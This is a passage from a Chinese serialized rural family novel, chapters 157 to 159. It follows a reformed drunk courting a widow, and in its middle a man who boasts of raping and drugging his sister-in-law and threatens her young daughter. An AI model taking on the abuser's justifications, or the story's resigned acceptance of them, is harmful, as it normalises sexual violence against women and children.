黄珍珠听到儿子的保证,心中的一块大石头终于落了地,她喜极而泣,一边开心地点着头,一边用手擦去眼角的泪水,激动地说:“你能想通就好啊!思念也长大了,他肯定也不希望天天看到你那个样子。天天看着你那样子,我都担心以后我不在了,你们可怎么办呢?” 王知安慰着母亲,说道:“好的,娘,等我回来再好好跟您聊。我现在有点急事要出去一下!”说完,他转身快步走出门口。 在出门的瞬间,王知还不忘停下脚步,摸了摸站在一旁的思念的头,然后头也不回地朝着秀兰的方向跑去。 黄珍珠站在门口,目送着王知渐行渐远的背影,眼中的泪水慢慢涌出。她喃喃自语道:“真好啊!真是老天有眼啊,你爹他总算是想明白了!” 王思念眉头微皱,小声嘀咕着:“我总觉得他今天有点不对劲,有些怪怪的,肯定有什么事情。不行,我得跟上去瞧瞧!”说罢,他毫不犹豫地迈开脚步,紧跟着王知后面也走出了门。 王知步履匆匆,似乎有什么急事。他一路疾行,终于来到了距离秀兰不远处的地方。 站定后,他定睛观瞧,只见秀兰一家人都沉浸在悲痛之中,哭声此起彼伏。事后,秀兰离去时,则怀抱着孩子,默默地从他面前走过,甚至连头都没有抬一下,仿佛完全没有注意到他的存在。 王知见状,心中不禁一阵失落。他原本还想着能和秀兰说上几句话,问问她的近况,可如今看来,秀兰对他根本就视而不见。而且,周围还有那么多李家沟的人,他实在不好意思在这种场合下贸然上前打扰。 犹豫片刻后,王知无奈地叹了口气,心想:“还是等过几日再去看她吧,希望到时候她的心情能好一些。”看着秀兰一家人的身影越走越远,王知转过身去,却被身后王思念吓了一跳!因为他根本没有注意到,王思念不知道什么时候就站在他的身后。 王知一脸惊讶地看着王思念,质问道:“你来这里干什么?” 王思念毫不示弱,瞪大眼睛反问道:“这句话应该我问你吧!你来这里做什么?” 王知不耐烦地挥挥手,“小孩子少管大人的事情……” “我不是小孩子了!”王思念突然提高音量,打断了王知的话,“我马上就要成年了!” 王知似乎对王思念的年龄感到有些惊讶,他仔细端详着王思念,喃喃自语道:“你竟然都已经这么大了吗?” 王思念见状,心中的不满愈发强烈,他继续说道:“你整日只知道喝酒买醉,对家里的事情不闻不问,今天的你倒是有些奇怪,让我们都有些看不懂了!” 王知吞吞吐吐:“我……”他的声音有些低沉,似乎有什么难以启齿的事情。 王知沉默了一会儿,然后缓缓地说:“我知道我以前对你不够好,总是喝酒买醉,忽略了你的感受。但今天开始,我不会再喝酒了,我想要和别人一样,过正常的日子。” 王思念看着他,眼中的怀疑渐渐被一丝感动所取代,“真的吗?” 王知点了点头,“真的。而且,我也想跟你说声对不起,这么多年来,我确实没有尽到一个父亲的责任。” 王思念的眼眶突然湿润了,他没想到王知会突然说出这样的话。从小到大,他一直渴望得到父亲的关爱和认可,可王知总是对他漠不关心。 “爹……”王思念的声音有些哽咽,“其实,我一直都很希望你能像其他孩子的父亲一样该多好。” 王知的心中一阵刺痛,他意识到自己对孩子的亏欠实在太多了。他走上前,轻轻地摸了摸王思念的头发,“是爹不好,是爹对不起你和你娘。我突然想起来,不如现在我们也去看看你娘!” 王思念抬起头,看着王知,脸上露出了一个微笑,“嗯,好。” 王思念曾经无数次一个人跑到母亲的坟前哭泣,这次还是父亲第一次开口说,带他一起来看母亲,他的心中充满了开心和满足! 时光匆匆,转瞬间数日已逝。这一天,柴勇华如往常一般,又一次喝得酩酊大醉。他脚步踉跄,身体摇摇晃晃,仿佛风中残烛,艰难地朝着家的方向走去。 然而,就在他毫无防备之际,突然有一只黑手从背后伸来,如鬼魅般迅速地将一个麻袋套在了他的头上。紧接着,一阵雨点般的棍棒狠狠地落在他身上,让他根本无法躲避。这突如其来的一顿毒打,让柴勇华毫无还手之力,只能痛苦地蜷缩在地上,任由施暴者肆意发泄。 不知过了多久,这场暴行终于结束了。柴勇华被人像破布一样丢弃在了路边,浑身伤痕累累,意识也有些模糊。 与此同时,柴勇华的弟弟朝勇林也正醉醺醺地走在回家的路上。他脚步虚浮,嘴里还哼着不成调的小曲儿,完全没有注意到路边躺着的那个人。 当他走到柴勇华身旁时,甚至都没有仔细看一眼,便抬起脚,狠狠地踹了上去,嘴里还骂骂咧咧地嘟囔着:“去你娘的,好狗不挡道!挡着爷的路了都!” 这一脚力道十足,直接将柴勇华踹得在地上滚了一米多远,同时发出了一声沉闷的哼声。 然而,朝勇林却对这一切视若无睹,他继续晃晃悠悠地朝着家的方向走去,仿佛什么都没有发生过一样。 终于,朝勇林走到了家门口,他一边拍着门,一边大声喊道:“大哥,我回来了,快开门啊!” 春芬听到敲门声后,急忙跑去开门。门一打开,她就看到了站在门口的柴勇林,于是说道:“二弟,你回来啦?你大哥他……他还没回来呢!” 柴勇林的脸上露出了惊讶的表情,疑惑地问道:“不对啊?我大哥他不是比我先走的嘛!怎么会还没到家呢?” 春芬犹豫了一下,然后小心翼翼地问:“你大哥他……喝酒了吗?” 柴勇林嘴角微扬,露出一丝笑容,说道:“我们兄弟俩可是一起喝的酒呢,你说他有没有喝酒?”说完,他竟然还伸手摸向了春芬的脸颊。 春芬被他这一举动吓了一跳,连忙向后退了一步,有些慌张地说:“你喝多了……你大哥可能……等会儿就回来了!” 第157章 荒唐的两兄弟 柴勇林却不以为然地笑了笑,说道:“他回来了又能怎样?还不是照样会拿你撒气!” 春芬一听,心里顿时有些慌乱,她知道柴勇林说的没错。于是,她赶紧叫着两个女儿:“招弟,快带上你妹妹去小屋住一晚,你爹他又喝酒了,别让他回来了朝你们撒脾气!” 招弟一脸担忧地看着母亲,轻声说道:“娘,那你怎么办呢?要不然,你和我们一起去小屋躲一躲吧!” 春芬连忙摇头,语气坚定地说:“不行啊,孩子。你爹回来要是看不到我,他肯定会到处找我们的!到时候,我们三个人恐怕都……!” 招弟和妹妹的眼眶渐渐湿润了,泪水在眼眶里打转,她们舍不得离开,更担心母亲。春芬见状,心如刀绞,但她还是狠下心来,把两个孩子轻轻地推出门外,温柔地嘱咐道:“听话,孩子,快去小屋里躲起来,把门锁好别出来,知道吗?” 两个孩子虽然满心不情愿,但还是听话地走进了小屋,并顺手关上了门。春芬站在门口,心中的不安愈发强烈,她的心跳也越来越快,仿佛要跳出嗓子眼儿一般! 就在这时,屋内突然传来柴勇林的叫嚷声:“给我倒杯水喝!” 春芬心头一紧,深吸一口气,定了定神,然后快步走到桌子旁,倒了一杯水,小心翼翼地端到柴勇林面前,轻声说道:“水来了!。” 柴勇林本应去接向水杯的大手,却突然偏离了方向,径直摸向了春芬的手。 这突如其来的举动让春芬完全没有防备,她的手像触电般猛地一抖,手中的水杯也随之失去控制,一杯水就这样毫无保留地泼洒在了柴勇林的身上。 春芬顿时惊慌失措,她的脸涨得通红,结结巴巴地解释道:“对……对不起,我……我真的不是故意的!”一边说着,她一边手忙脚乱地拿起毛巾,想要尽快擦掉柴勇林身上的水渍,以弥补自己的过失。 然而,柴勇林的反应却出乎春芬的意料。他不仅没有生气,反而嘴角微微上扬,露出一抹让人捉摸不透的笑容。他悠然自得地任由春芬擦拭着自己那被水浸湿的衣服,甚至还故意把身体向春芬靠近,好让春芬更方便地擦拭。 春芬的心跳愈发加快,她觉得自己的手都有些不听使唤了。就在她努力擦拭的时候,柴勇林突然毫无征兆地把上衣脱了下来,露出了他那结实的臂膀。 这一幕让春芬完全惊呆了,她的眼睛瞪得大大的,一时间竟然说不出话来。她的目光不由自主地落在了柴勇林的身上,那线条分明的肌肉和健康的肤色让她有些不知所措。 春芬的脸刷的一下红了,声音有些颤抖,她结结巴巴地说道:“弟弟,你这是做什么呀?” 柴勇林似乎并没有在意春芬的反应,他皱起眉头,回答道:“衣服湿了啊,还怎么穿?难道你不怕我感冒吗?!” 春芬见状,连忙说道:“那我给你找件干净的衣服去!”说着,她转身就要往屋里走。 然而,柴勇林却迅速伸出手,一把抓住了春芬的手腕。他用力一拽,春芬猝不及防,整个人都被拉进了他的怀里。 春芬的身体紧贴着柴勇林的胸膛,她能感觉到他的呼吸和心跳。她的脸瞬间涨得通红,想要挣脱开来,但柴勇林却抱的更紧,她根本无法动弹。 柴勇林低下头,看着春芬的眼睛,轻声问道:“伤口还疼吗?让我看看!” 春芬有些慌乱,她连忙摇头,说道:“不用麻烦弟弟了,我挺好的!” 可是,柴勇林却依旧在背后环抱着春芬,他的手臂紧紧地环绕着她的腰肢,让她无法逃脱。 “你把两个孩子都打发出去了,不就是为了跟我在一起嘛!”柴勇林的声音在春芬的耳边响起,带着一丝暧昧和调侃。 春芬的心跳愈发急促,她的脑海中一片混乱。她不知道该如何应对这样的局面,只能结结巴巴地解释道:“弟弟,你……你喝多了,我只是担心……你大哥回来会伤害两个孩子而已!” 柴勇林眯着双眼,调侃地说道:“大嫂,别再装了!你心里比谁都清楚,家宝就是我的儿子!” 春芬的脸色瞬间变得惨白,她惊恐地看着柴勇林,嘴唇颤抖着,反驳道:“你胡说!家宝怎么可能会是你的孩子?!” “你还想抵赖?”柴勇林冷笑一声,继续说道,“好,那我来帮你回忆一下。当初,你可是生了两个丫头都没能生下个小子,可就在我那日醉酒后那一晚过后,没多久你就怀孕生下了家宝。这难道真的只是巧合吗?” 春芬的身体猛地一颤,她的脑海中不断闪过那段不堪回首的往事。她紧紧咬着嘴唇,泪水在眼眶里打转,却倔强地不肯流下来。 “你别再说了!”春芬终于忍不住喊道,“求你了,不要这样,你大哥回来要是发现了的话,他会打死我的!” 柴勇林却不以为然地笑了笑,安慰道:“你放心吧,我大哥其实早就知道这件事了,他之所以一直没有说破,就是想要个儿子而已。现在好了,我帮他实现了这个愿望,他高兴还来不及呢,怎么会怪你呢?” 春芬满脸惊愕,身体不由自主地颤抖着,她瞪大了眼睛,死死地盯着柴勇林,仿佛不敢相信自己听到的话。 “你……你说什么!?”她的声音颤抖着,带着一丝绝望和难以置信。 柴勇林嘴角泛起一丝冷笑,他慢慢地说道:“你以为我是喝多了才强迫的你吗?” 春芬的泪水顺着眼眶流了下来,她哽咽道:“难道不是吗?” 柴勇林摇了摇头,继续说道:“难道你没发现,你在喊他救你的时候,我大哥只看了你一眼又闭上眼睛装睡了吗?可是我大哥求我帮他生个儿子的!” 春芬的脑海中瞬间闪过当时的情景,她记得,那日柴勇林像是发疯一样的朝着自己扑来,而且柴勇华就在旁边的躺椅上闭目休息,她拼命地呼喊着让他救自己,然而,他却只是冷漠地看了她一眼,然后就闭上了眼睛,仿佛什么都没有听到。 “不可能,不可能!你们为什么要这样对我?”春芬的声音充满了痛苦和绝望,她无法接受这个残酷的事实。 柴勇林冷笑一声,说道:“我再告诉你个秘密,我上一个大嫂,也是接受不了跟我们兄弟两个有染才投井自尽的!” 春芬的眼睛瞪得更大了,她的脸色变得惨白,仿佛整个世界都在这一刻崩塌了。她无法想象,自己竟然会遭遇这样的事情,而且还是在这个看似平静的家庭里。 柴勇林看着春芬的反应,心中并没有丝毫的怜悯,他继续说道:“相比之下,你也并不是什么贞洁烈女嘛,你看,你不是也活的挺好的嘛!” 春芬的身体猛地一颤,她的嘴唇微微动了动,却发不出一点声音。她觉得自己的灵魂已经被抽离了身体,只剩下一具空壳,茫然地面对着这个可怕的现实。 春芬满脸惊恐地喊道:“你别说了,我求你别再说了!”她的声音带着一丝绝望和哀求,仿佛整个世界都在这一刻崩塌了。 然而,柴勇林却对她的请求置若罔闻,他狞笑着继续说道:“你不想听啊,我非要说给你听!别以为我不知道,招弟那丫头到底是谁的种,还说不定呢!”他的话语如同毒刺一般,深深地刺痛了春芬的心。 春芬瞪大了眼睛,难以置信地看着柴勇林,她颤抖着声音问道:“你这话是什么意思?” 柴勇林嘴角上扬,露出了一丝得意的笑容,他慢条斯理地解释道:“什么意思?你不懂吗?我大哥并没有生育能力,而我却又不甘心成婚,只想夜夜都扎在女人堆里多好啊!所以我大哥就跟我商量好了,只要我帮他传宗接代,他就不管我在外面的事儿!可是你刚嫁进来第一年,我可从没动过你,你居然生出了个丫头……却让我大哥一直以为那招弟也是我的孩子!” “不可能,那还有盼弟呢?我明明没有和你……!”春芬再次打断了柴勇林的话,她的泪水像决堤的洪水一般涌出,顺着脸颊滑落。 柴勇林见状,不仅没有停止,反而更加肆无忌惮地说道:“起初然后像那个女人一样想不开投井,所以每次都对你用了迷药,这样你就不会记得任何事情,只可惜那次我喝多了点,忘了先把你迷晕,不过也正好生下了家宝……!” 春芬似乎还是不相信,说道:“我不相信!如果这都是真的,之前这么多年你怎么从来没提过,现在又突然提起这些做什么?” 柴勇林看了一眼摇篮里睡的正香的家宝,说道:“兴许是年纪大了些吧!突然间觉得家宝以后如果只认他做爹的话,那我岂不是亏大了!”说着朝着春芬的脖子上吻了下去! 春芬猛的身体一颤,这熟悉的感觉,曾经在无数个深夜里,迷迷糊糊中的自己也是被突然吻醒,她一直以为那些个深夜之中与自己一起的人是柴勇华,如今这十分熟悉的感觉却告诉自己,经常同床的人是眼前的柴勇林才对! 纵使如此,春芬的内心依然无法平静,她觉得不能就这样继续下去。 终于,春芬再也无法忍受,她猛地一把推开了柴勇林,怒不可遏地吼道:“那他又为什么要朝我们撒气!” 柴勇林显然被春芬的举动吓了一跳,但他很快回过神来,试图解释道:“他这辈子养的老婆孩子都是别人的,他心里能不憋屈吗?也就是喝了点酒以后,他才会撒撒脾气!” “不过他哪次不是打你一两下,就被我劝走了?尤其是生了家宝以后,可是很久都没有打过你了吧?若不是听说你外面有别的男人,我怎么会舍得让他再打你呢?”说着又用手抚上了春芬的脸! 然而,春芬对这样的解释并不买账,她的怒火丝毫没有平息的迹象:“一两下?那孩子们呢?” 柴勇林一脸不屑地说道:“女孩子嘛,就得多调教调教,这样才能变得乖巧听话。尤其是那个不知道从哪儿冒出来的野种,更得好好教教她怎么做人!”他的话语中充满了对招弟的轻视和厌恶,仿佛她根本就不配得到任何关爱。 柴勇林突然转身环抱着春芬,说道:“我若是开心了,就两全其美!若是我不开心,招弟那个丫头片子,我可是一定要先尝上一口!”他的话语充满了威胁和恶意,让人不寒而栗。 春芬听到这里,浑身的血液都仿佛凝固了,她愤怒地吼道:“她还是个孩子!你怎么能这么禽兽不如!” 柴勇林一脸愤愤不平地说道:“我们柴家养她这么大,她报答一下我们家不是应该的吗?你猜,我大哥要是知道了这招弟不是我们柴家的女儿,他会不会一气之下把她给卖到那窑子里面去!” “哦,对了,还有你那个病怏怏的妹妹,虽说是病的,好歹也还有几分姿色,别人不敢娶,我无所谓啊!你们两姐妹一起嫁到我们柴家,岂不更好?!” 春芬怒不可遏地吼道:“关我妹妹什么事?这和她有什么关系!” 柴勇林却不紧不慢地回应道:“你们王家这几年可没少花我们柴家的钱啊!这些钱加起来,恐怕把你们家的几个人都卖了都还不起吧!现在呢,只需要你一个人,就能让你们王家这么开心,你说,这到底是谁更划算呢?” 他的话如同一把利剑,直刺春芬的心脏。春芬的脸色瞬间变得苍白,她无法反驳柴勇林的话,因为他说的确实是事实。 确实如此,柴勇华唯一的缺点就是酒后施暴,只是他在王家的付出也是相当大手笔的,先是春芬的父母生病,都是柴勇华给花的钱,再是哥哥家里现在大部分的家当都是柴勇华给的钱置办的!在外面,所有人都羡慕春芬高攀了柴家,实际上,柴勇林这个弟弟,柴勇华也总是溺爱,任由他胡作非为!对他的要求只有一条,不准杀人放火! 第158章 兄弟如手足 所以在柴勇华的眼中,有一句话他始终坚信不疑,那便是:兄弟如手足,女人如衣服! 就在这一刹那间,院门突然传来一阵“砰砰砰”的敲门声,声音急促而有力。春芬心头猛地一紧,像是被一只无形的大手紧紧揪住一般,她的第一个念头便是——柴勇华回来了! 还没等春芬反应过来,门外又传来了隔壁邻居的声音:“春芬在家吗?” 春芬来不及多想,匆匆忙忙地起身朝着院门奔去。她的步伐有些慌乱,让她无法有丝毫的迟疑。 柴勇林见状,心中不禁涌起一股烦躁。他眉头微皱,然后不情不愿地站起身来,慢悠悠地朝着自己的房间走去披了件衣服,似乎对门外的事情完全不感兴趣。 春芬来到了院门前,她深吸一口气,定了定神,然后伸手握住门把,缓缓地打开了院门。 门外站着隔壁的邻居大娘,邻居大娘的脸上露出焦急的神色,一见到春芬,便迫不及待地说道:“春芬呐,你们家勇华他喝多啦,好像在路上摔了一跤,看起来摔得可不轻啊!” 春芬一时间竟然有些说不出话来。 邻居大娘见状,说道:“春芬啊,你听到我说的话了吗?” 这时她才回过神来,结结巴巴地问道:“你说的是真……真的吗?他人……他人呢?” 邻居大娘连忙回答道:“还在那路边上躺着呢!你们还是赶紧去把他给弄回家吧!” 春芬感激地说道:“谢谢您了!我这就叫勇林去把他给扶回家来!” 此时,柴勇林在屋内早已听到了外面的对话,他心中不禁有些烦躁。他嘴里嘟囔着走出来:“真是麻烦!”然后,他快步走出门去,回过头来又对着春芬说道:“你跟我一起去!” 春芬见状,虽然心中有些不太情愿,但还是默默地跟在了柴勇林的身后,一同朝外走去。 两人走了一段路后,远远地就看到路边地上的一个身影。只见那人一动不动地趴在地上,看不到那人的模样。 走近一些后,柴勇林心中突然涌起一股惊讶:“这……这不是我刚才踢到一边去的那个人吗?”他的脑海中迅速闪过刚才的一幕,心里顿时有些不安起来。 果然,当他走近将趴在地上的那人翻过身来一看,发现眼前这个躺在地上的人,竟然真的是自己的大哥柴勇华! 朝勇林万万没想到,自己就那么随意地踹了一脚,怎么大哥竟会伤的这么严重?大哥又怎么会醉的那么厉害,居然就这么躺在大路上…… 柴勇林根本来不及深思熟虑,他毫不犹豫地背起大哥,一路狂奔回家。到家后,他才气喘吁吁地放下柴勇华,仔细查看他的伤势。 这一看,柴勇林的心都凉了半截。只见柴勇华的脸肿得像个馒头,原本的面容已经面目全非;他的腿更是惨不忍睹,明显是被人打断了,此刻正以一种怪异的角度扭曲着;更糟糕的是,柴勇华躺在那里,连坐起来都显得无比艰难,脖子也疼得无法转动,仿佛失去了对身体的控制。 这样的惨状,让柴勇林满脸疑惑,他瞪大了眼睛,难以置信地看着大哥,问道:“大哥,到底是谁把你打成这样的?” 柴勇华痛苦地轻微摇了摇头,他的眼神迷茫而无助,似乎对发生的事情毫无头绪。 柴勇林见状,安慰道:“大哥,你别着急,先好好养伤。明天我出去打听一下,看看有没有人看到些什么。” 柴勇华微微点了点头,算是回应了弟弟的话,但他始终没有开口,只是默默地躺在那里,让人看了越发觉得可怜。 柴勇林深吸一口气,转身走出了房间,顺手还拉走了站在一旁的春芬。柴勇华看着他们离去的背影,依然没有说话,只是眼神中流露出一丝淡淡的哀伤。 柴勇林紧紧地抓住春芬的手,春芬拼命地挣扎着,想要挣脱他的束缚。 “怎么,看样子,你还是很想在我大哥面前跟我好啊!”柴勇林嘴角泛起一丝冷笑,他的声音中透露出一种嘲讽和不屑。 春芬的脸涨得通红,她怒视着柴勇林,气愤地喊道:“你无耻!” 柴勇林似乎对春芬的反应并不在意,他继续说道:“又不是第一次了,怎么还这么不乖呢?嘴巴倒是一点不饶人啊!他那个没种的男人,你就那么愿意守着他?” 春芬的眼睛里闪烁着愤怒的火花,她咬着嘴唇,强忍着不让泪水流下来,说道:“至少他名正言顺的娶了我!” 柴勇林的脸色变得阴沉起来,他恶狠狠地说:“他要是死了,你再嫁给我也一样!” 春芬被柴勇林的话吓得浑身一颤,她瞪大了眼睛,难以置信地看着他,说道:“我不会嫁给你的,你死了这条心吧!” 柴勇林却不以为然地笑了笑,他凑近春芬的耳边,轻声说道:“那也没关系,我不介意把你妹妹娶进门,这样你们姐妹两个又可以天天在一起岂不更好?!” 春芬脸上的泪痕落了下来,苦苦哀求着柴勇林:“求求你,放过我妹妹吧,她身体一直不好,我真的不想让她再出任何事情了!”她的声音充满了绝望和无助。 柴勇林看着春芬那副梨花带雨的模样,心中不禁有些得意,他嘴角微微上扬,冷笑道:“早点有这个态度不就好了嘛!” 春芬的眼泪像断了线的珠子一样,不停地滚落下来。她的心如刀绞,痛苦不堪。然而,从成婚前的那个雨夜开始,她或许早已对一切都变得无所谓了。 只是没想到,当她前几日见到云义时,心中竟然还会泛起涟漪,泪水还会不由自主地流下来。 柴勇林见状,并没有丝毫的怜悯,他紧紧地抱住春芬,仿佛要将她揉进自己的身体里一般。春芬在他的怀中,感受着他的体温,却觉得无比的寒冷。 就这样,柴勇林抱着春芬沉沉睡去,而春芬则在黑暗中默默地流泪,泪水浸湿了枕头。 不知过了多久,儿子的哭声突然传来,将他们从睡梦中惊醒。此时,已经是三更天了,春芬连忙起身,匆匆跑去哄孩子。待孩子安静下来后,她又小心翼翼地将儿子放回床上,生怕吵醒了柴勇林。 然而,当春芬回到床边时,柴勇林却一把将她拉进怀里,继续搂着她睡觉。春芬没有反抗,她静静地躺在柴勇林的怀中,心中却思绪万千。 这一晚,春芬终于知道了这几年来的真相。虽然这个真相让她痛苦不堪,但她还是选择了接受这样的事情。或许,这就是生活吧,充满了无奈和妥协。 接下来的日子里,柴勇华都躺在床上动弹不得,春芬都完全对他视而不见!像是养狗一般的存在,每日只让招弟拿个馒头放在柴勇华的床头,保证他饿不死就可以! 而每次吃饭的时候,春芬都会留意到柴勇林的目光总是有意无意地停留在招弟身上,这让春芬心里不禁泛起了深深的忧虑。 再把话题转回到李家沟,自从云亭和杏花相继离世后,这个家虽然少了两个人,但日子还得继续过下去,剩下的人都要坚强地生活。 时光匆匆,转眼间就到了农忙的时节。秀兰和云义早早地就去田里劳作了,而传美因为年纪小,只能被背到田里,然后找个相对阴凉的地方放着。 就在这时,一个身影出现在了他们面前,原来是王知。他热情地对秀兰和云义说:“我来帮你们吧!” 秀兰有些惊讶地看着他,迟疑地说:“你?” 王知笑着解释道:“秀兰,你还记得我吗?我是王知啊!” 秀兰努力回忆了一下,还是摇了摇头说:“王知……我好像没什么印象……” 王知见状,连忙补充道:“秀兰,你真的一点都不记得我了吗?那你可还记得我送你的油菜花!” 听到“油菜花”三个字,秀兰突然想起了什么,恍然大悟道:“哦……你就是那个天天乱揪油菜花放我们家门口的人!” 王知不好意思地挠着头:“嘿嘿……我……” 云义突然注意到了站在一旁的王知,他脸上露出一丝惊讶的表情,然后快步走了过来。 “嫂子,你认识他啊?”云义指着王知说道,“这不是王家那酒鬼嘛!” 王知的脸色有些尴尬,他连忙解释道:“我……我已经戒酒了!” 云义显然对王知的话表示怀疑,他夸张地笑了起来:“哎呦!真的假的啊?太阳从西边出来了?” 王知的表情变得有些严肃,他看着秀兰,认真地说道:“秀兰,我发誓,我真的戒酒了。” 云义见状,赶紧打断他的话:“行了,行了,你跟我嫂子发什么誓啊,你戒不戒酒跟我嫂子可没关系!” 王知的目光仍然落在秀兰身上,他似乎还想说些什么,但最终只是张了张嘴,没有发出声音。 秀兰看着王知,微笑着说:“不管怎么样,戒酒也是好事!……” 王知一脸得意地望向云义,嘴角挂着一抹不易察觉的微笑,仿佛充满了自信。 云义见状,连忙说道:“大嫂,这小子不是说要帮忙吗?就让他来,你带长美回去歇着吧!”他的声音中透露出一丝关切。 王知也附和道:“是啊,秀兰,不如你去歇着,我来就好!”他的话语中似乎带着些许讨好的意味,说着就拿起工具动起了手! 然而,秀兰却坚定地回应道:“这叫什么事儿啊,好端端的,我为什么要别人帮忙呢?我自己可以的!”她的语气中没有丝毫的犹豫和迟疑。 云义听了秀兰的话,嘴角微微上扬,露出一抹似有似无的笑容,接着说道:“是啊,有些人啊,就是喜欢不请自来,也不管别人喜不喜欢,就这么硬闯进来,真是让人头疼啊……” 他的话还没说完,就被秀兰急匆匆地打断了:“哎呀,你怎么能当着别人的面这样说话呢!多不礼貌啊!”秀兰的语气有些焦急,她用手轻轻推了云义一下,似乎对他的言辞有些不满。 一旁的王知见状,连忙摆手解释道:“不怪他,确实是我自己想要来给你们帮忙的!” 说着他转头看了一眼放在地上的孩子说道:“孩子还小!你还是带她回家去吧!”他的声音温和而诚恳。 然而,云义却并不领情,他依旧不依不饶地说:“你看吧,明明就是他死皮赖脸地非要来帮忙……” “你还说!”秀兰的眉头皱得更紧了,她嗔怪地看了云义一眼,显然对他的态度有些生气。 就在这时,襁褓里的传美突然“哇”地一声哭了起来,那哭声清脆而响亮,在空气中回荡着。 云义见状,连忙说道:“嫂子,你看孩子都哭了,你还是带着传美回家去歇着吧,这里有我呢,你放心吧!”他的语气变得温柔起来,眼中透露出一丝关切。 秀兰犹豫了一下,最终还是点了点头,说道:“那好吧,那就辛苦云义你了,我回去给你做饭吃!” 说完之后,她轻轻地抱起传美,转身朝着家的方向走去。在离开之前,他还特意朝着王知点了一下头,似乎是在跟对方道别。 王知一动不动地伫立在原地,目光如痴如醉地追随着秀兰渐行渐远的背影。他的眼睛茫然地盯着那个方向,秀兰的身影在他的视野中越来越小,然而,王知的目光却依然停留在那里,久久没有收回。 云义见状,连忙喊道:“喂,那谁,你不是说要帮我干活的吗?难道你只是骗我们好玩而已?” 王知急忙解释道:“怎么会呢?我骗你干什么?我是真心实意想来帮忙的!” 云义半信半疑地看着他,说:“那好,既然你这么说,那就赶紧过来一起干吧。” 王知听到云义的话,立刻行动起来。他确实有模有样地忙活了起来。 然而,他并没有意识到,由于自己已经颓废了好多年,身体的底子早就变得有些差了。没过多久,他就发现自己完全跟不上云义的进度,而且自己也累得满头大汗,气喘吁吁的。 第159章 思念 王知的额头上豆大的汗珠不断滚落,他感到自己的身体仿佛被掏空一般,又累又渴。终于,他再也支撑不住,像一滩烂泥一样瘫软在地,重重地坐在地上,大口喘着粗气。 云义听到身后的动静,转过身来,脸上露出一丝嘲讽的笑容:“怎么,这就累了?你这身体也太差了吧!我看就算来个孩子,恐怕都比你要强上不少呢……” 王知有气无力地回应道:“我……我只是需要稍微歇一会儿……” 云义不以为然地摇了摇头,然后便转身继续干起自己手里的活儿,完全不再理会王知。 王知休息了一会儿,心中暗暗告诉自己不能就这样放弃。他咬了咬牙,起身重新动手干活。 就在这时,王思念恰好路过这里,一眼就看到了正在卖力干活的父亲。他快步走过来,关切地问道:“爹,你在这儿干什么呢?” 王知尴尬的笑着:“你来这儿做什么,你回家去,我一会儿就回去了!” 王思念满脸生气地看着父亲王知,语气带着责备和不满:“爹,自从爷爷去世后,奶奶一个人承担了所有的大小事务,她年纪那么大了,身体又不好,刚才还在田里不小心摔了一跤!而你呢?你倒好,居然还有闲情逸致跑到这里来……” 王知被儿子一顿数落,脸上露出愧疚之色,想要解释却又不知从何说起,只得支支吾吾地应道:“我……” 王思念根本不给父亲解释的机会,他越说越气,最后直接打断了王知的话:“你真是太让人失望了!奶奶那么辛苦,你怎么对得起我奶奶!”说完,他头也不回地转身离去,留下王知一个人呆呆地站在原地。 看着王思念渐行渐远的背影,云义从旁边走过来,看着王知说道:“你儿子都走了,你还不赶紧回家去?” 王知沉默了好一会儿,有些迟疑地说:“那……不好意思了!我先回去一趟,明天,明天我一定来帮忙!” 云义嘴角微微一扬,露出一丝嘲讽的笑容:“你还是别来了吧,我们家可不想惹那不必要的麻烦!” 王知闻言,脸色变得有些难看,他看了一眼李云义,嘴唇动了动,似乎想要说些什么,但最终还是没有说出口,只是默默地转身,朝着家的方向走去。 王知拖着疲惫的身体缓缓地推开了家门,一进门便看到王思念正坐在母亲的身旁,小心翼翼地将药膏涂抹在母亲受伤的膝盖上。 黄珍珠见儿子回来了,脸上露出了一丝微笑,温柔地问道:“听思念说,你去田里了?” 王知点了点头,正准备解释一下,却听到王思念冷哼了一声,语气中带着些许不满地说道:“哼,自己家一堆农活都干不完,居然还有闲心跑去给别人家帮忙……” 黄珍珠连忙打断了王思念的话,笑着说道:“别这么说你爹,你爹他之前整日喝大酒,浑浑噩噩的,现在能去帮别人干活,说明他已经开始改变了,我这老婆子看着也放心了些!” 然而,王思念似乎并没有被奶奶的话所打动,他的脸色依旧阴沉,甚至都没有看王知一眼,转身就走进了屋子里,“砰”的一声关上了门。 王知有些无奈,走到母亲的身边坐下,关切地问道:“娘,您怎么突然摔跤了?” 黄珍珠轻轻地拍了拍王知的手,安慰道:“年纪大了,路滑,摔了一跤而已,也没什么大不了的,别担心。” “你放心吧,思念那孩子就是嘴硬,其实他心里还是很关心你的,他就是担心我的伤势,所以才会有些不开心罢了。” 王知听了母亲的话,心里一阵感动,但同时也感到有些愧疚,他犹豫了一下,终于还是开口说道:“娘……我……” 黄珍珠一脸严肃地看着王知,她的声音中透露出一丝不满和担忧:“你跟我说实话,你是不是对李家沟那家的媳妇儿还念念不忘?我也是刚听说那家的男人死了,还留下了几个孩子,又看你最近突然又好像变了一样!又听思念说你在帮别人家里收田。你是不是想……” 黄珍珠的话还没说完,王知突然扑通一声跪了下来,他的眼眶有些湿润,满脸愧疚地说道:“娘,我知道,这些年都是我不好,让您受苦受累了!可是儿子我,依旧还是很喜欢秀兰!” 黄珍珠看着跪在地上的儿子,心中不禁叹了一口气,她无奈地摇了摇头,说道:“真是孽缘啊!” 过了一会儿,黄珍珠稍稍平复了一下情绪,她再次看向王知,语重心长地说:“可如今又不一样了,你和她都有孩子,而且不说思念愿不愿意,就说李家沟人家那边又愿不愿意呢?我倒是没有什么精力去管你太多了,听说她有三个儿子,孩子们都不小了,谁又会同意自己的娘嫁出去呢!”说着又叹了一口气,似乎是觉得这件事情几乎不可能! 王知一脸坚定地说道:“我愿意等着,等到他们愿意的那一天!” 黄珍珠听了儿子的这番话,心中不禁涌起一股复杂的情绪。她的手不由自主地扶上了额头,缓缓闭上双眼,仿佛想要将那一瞬间的思绪都收拢起来。然而内心的波澜却并未因此平息。 王知注意到母亲的异样,连忙关切地问道:“娘,你这是怎么了?可是还有哪里不舒服?” 黄珍珠深吸一口气,强打起精神回答道:“我没事儿,就是有些累了,想要休息会儿。你也别在这儿杵着了,去看看思念吧!” 王知虽然有些担心母亲,但见她如此说,也不好再多问,便起身看了一眼母亲后,转身走进了王思念的房间。 房间里,王思念正紧紧地抱着被子躺在床上,似乎对周围的一切都浑然不觉。 王知走到床边,“思念,天热了,怎么还抱着这被子呢?”王知轻声说道,同时伸出手,想要把被子拉开,让王思念能凉快一些。 